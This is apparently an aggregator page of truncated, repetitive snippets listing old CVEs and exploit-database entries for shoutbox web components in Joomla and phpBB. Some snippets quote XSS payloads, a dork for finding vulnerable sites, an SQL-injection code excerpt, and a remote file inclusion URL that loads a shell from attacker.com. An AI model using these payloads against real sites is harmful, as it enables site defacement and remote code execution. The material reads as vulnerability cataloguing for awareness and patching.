CVE-2009-4232: Improper Authentication

The Kide Shoutbox comkide component 0.4.6 for Joomla! does not properly perform authentication, which allows remote attackers to post messages with an arbitrary account name via an insertar action to index.php. NOTE: the provenance of this information is unknown; the details are obtained solely...

Kide Shoutbox v0.4.6 XSS & AXFR

Exploit for unknown platform in category web applications =============================== Kide Shoutbox v0.4.6 XSS & AXFR =============================== Exploit : Go to the shoutbox and type: red text or hi or 3xplo!t :...

Kide Shoutbox v0.4.6 XSS & AXFR

No description provided by source. andresg888 Web: : www.ilegalintrusion.nethttp://www.ilegalintrusion.net & www.bl4ck-p0rtal.orghttp://www.bl4ck-p0rtal.org Exploit : Go to the shoutbox and type: font color="red"red text/font or marqueehi/marquee or 3xplo!t :...

Kide Shoutbox 0.4.6 - Cross-Site Scripting AXFR

Kide Shoutbox 0.4.6 - Cross-Site Scripting AXFR andresg888 Web: : www.ilegalintrusion.net & www.bl4ck-p0rtal.org Exploit : Go to the shoutbox and type: red text or hi or 3xplo!t : http://server/path/include/prodler.class.php?sPath=http://attacker.com/shell.txt??? Greetz : 84kur10 , Brunos50 Speci...

Kide Shoutbox 0.4.6 - Cross-Site Scripting / AXFR

andresg888 Web: : www.ilegalintrusion.net & www.bl4ck-p0rtal.org Exploit : Go to the shoutbox and type: red text or hi or 3xplo!t : http://server/path/include/prodler.class.php?sPath=http://attacker.com/shell.txt??? Greetz : 84kur10 , Brunos50 Special Thanks : all members from ilegalintrusion &...

Shoutbox 1.0 HTML / Xss Injection

Exploit for unknown platform in category web applications ================================= Shoutbox 1.0 HTML / Xss Injection ================================= Vulnerable Code in index.php : : Shoutbox 1.0 HTML / Xss inejction exploit AuTh0r : SKuLL-HacKeR Vendor: http://www.plohni.com exploit:...

Shoutbox 1.0 HTML / Xss Injection

No description provided by source. Vulnerable Code in index.php : pstrong?php echo $names$i; ?:/strong ?php echo $shouts$i; ?/p Shoutbox 1.0 HTML / Xss inejction exploit AuTh0r : SKuLL-HacKeR H0ME : Sec-Best & SaudiHack & S3curity-Art Email : [email protected] Vendor: http://www.plohni.com exploit:...

Shoutbox 1.0 - HTML Cross-Site Scripting Injection

Shoutbox 1.0 - HTML Cross-Site Scripting Injection Vulnerable Code in index.php : : Shoutbox 1.0 HTML / Xss inejction exploit AuTh0r : SKuLL-HacKeR H0ME : Sec-Best & SaudiHack & S3curity-Art Email : [email protected] Vendor: http://www.plohni.com exploit: site.com/Shoutbox/index.php in the select you...

Shoutbox 1.0 - HTML / Cross-Site Scripting Injection

Vulnerable Code in index.php : : Shoutbox 1.0 HTML / Xss inejction exploit AuTh0r : SKuLL-HacKeR H0ME : Sec-Best & SaudiHack & S3curity-Art Email : [email protected] Vendor: http://www.plohni.com exploit: site.com/Shoutbox/index.php in the select your name and your text put this code '"alert'XSS skh'...

Joomla Djice Shoutbox 1.0 Permanent XSS Vulnerability

No description provided by source. Joomla Djice Shoutbox v 1.0 = Permanent XSS vulnerability - dork: inurl:"index.php?option=comdjiceshoutbox" The script is affected by Permanent XSS vulnerability, so yuo can put in bad java script code like: "scriptalert'XaDoS'/script or '"scriptalert'XSS By...

Joomla Djice Shoutbox 1.0 XSS

Joomla Djice Shoutbox v 1.0 alert'XaDoS' or '"alert'XSS By XaDoS' the XSS become permanent in every page of site! not critical damage but it's not funny.. + D3M0: http://www.djiceatwork.com contact me at xados @ hotmail . it www.securitycode.it...

Joomla Djice Shoutbox 1.0 Permanent XSS Vulnerability

Exploit for unknown platform in category web applications ===================================================== Joomla Djice Shoutbox 1.0 Permanent XSS Vulnerability ===================================================== - dork: inurl:"index.php?option=comdjiceshoutbox" The script is affected by...

Joomla! Component Djice Shoutbox 1.0 - Persistent Cross-Site Scripting

Joomla! Component Djice Shoutbox 1.0 - Persistent Cross-Site Scripting Joomla Djice Shoutbox v 1.0 alert'XaDoS' or '"alert'XSS By XaDoS' the XSS become permanent in every page of site! not critical damage but it's not funny.. + D3M0: http://www.djiceatwork.com contact me at xados @ hotmail . it...

Joomla! Component Djice Shoutbox 1.0 - Persistent Cross-Site Scripting

Joomla Djice Shoutbox v 1.0 alert'XaDoS' or '"alert'XSS By XaDoS' the XSS become permanent in every page of site! not critical damage but it's not funny.. + D3M0: http://www.djiceatwork.com contact me at xados @ hotmail . it www.securitycode.it milw0rm.com 2009-03-10...

CVE-2008-6301

SQL injection vulnerability in shoutboxview.php in the Small ShoutBox module 1.4 for phpBB allows remote attackers to execute arbitrary SQL commands via the id parameter in a delete action...

Sql injection

SQL injection vulnerability in shoutboxview.php in the Small ShoutBox module 1.4 for phpBB allows remote attackers to execute arbitrary SQL commands via the id parameter in a delete action...

CVE-2008-6301

SQL injection vulnerability in shoutboxview.php in the Small ShoutBox module 1.4 for phpBB allows remote attackers to execute arbitrary SQL commands via the id parameter in a delete action...

CVE-2008-6301

CVE-2008-6301 : A SQL injection vulnerability affects the Small ShoutBox module 1.4 for phpBB via the id parameter in the delete action in shoutbox_view.php. Remote attackers could potentially execute arbitrary SQL commands. The connected documents provide explicit details of affected software an...

CVE-2008-6301: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in shoutboxview.php in the Small ShoutBox module 1.4 for phpBB allows remote attackers to execute arbitrary SQL commands via the id parameter in a delete action...

phpBB Small ShoutBox模块shoutbox_view.php脚本SQL注入漏洞

BUGTRAQ ID: 32287 Small ShoutBox模块是phpBB论坛中所使用的一个留言板模块。 如果mode设置为delete的话，Small ShoutBox模块的shoutboxview.php文件没有正确地过滤对id参数的输入便用在了SQL查询中： File shoutboxview.php 50. $id = isset$HTTPGETVARS'id' ? $HTTPGETVARS'id' : $HTTPPOSTVARS'id'; 168. if $mode == "delete" && $adel 169. 170. $sql = "DELETE FROM "...